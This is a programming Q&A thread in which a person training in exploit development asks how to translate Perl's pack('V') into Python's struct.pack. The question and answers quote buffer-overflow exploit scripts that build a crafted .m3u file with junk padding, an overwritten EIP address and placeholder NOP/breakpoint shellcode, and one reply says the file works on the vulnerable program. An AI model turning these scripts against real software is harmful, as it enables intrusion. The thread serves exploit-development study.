Perl's Pack('V') function in Python?

Viewed 7260

I've been working on some exploit development recently to get ready for a training course, and I've run into a problem with a tutorial. I've been following along with all the tutorials I can find, using Python as opposed to the language the tutorials used, out of preference. I'm trying to crosscode everything, but I can't figure out how to crosscode Perl's Pack() function.

TL;DR: I'm trying to translate this to python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

I've found Python's struct.pack() function, but when I use

Fuzzed.write(struct.pack('V', 0x773D10A4))

, it stops the program and doesn't work. What am I doing wrong?

This is my entire source code

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

This is exactly what you want. how about the training course?

import struct 

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'

I was studying the same/similar tutorial. What fully worked for me is Nick's answer. I also tested the m3u file created on the vulnerable software. It really works, though my EIP address is different. I ran it using python 3.7.5 on linux machine. This is the modified code:

import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)

The reason why we need to convert everything to byte object is pack function returns a byte object and we cannot concatenate it with strings. Also str(struct.pack('<I',0x773D10A4)) doesn't work either. Instead of pack you could also use 0x773D10A4.to_bytes(4, 'little'). Another way is to manually rearrange the bytes:

string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77'
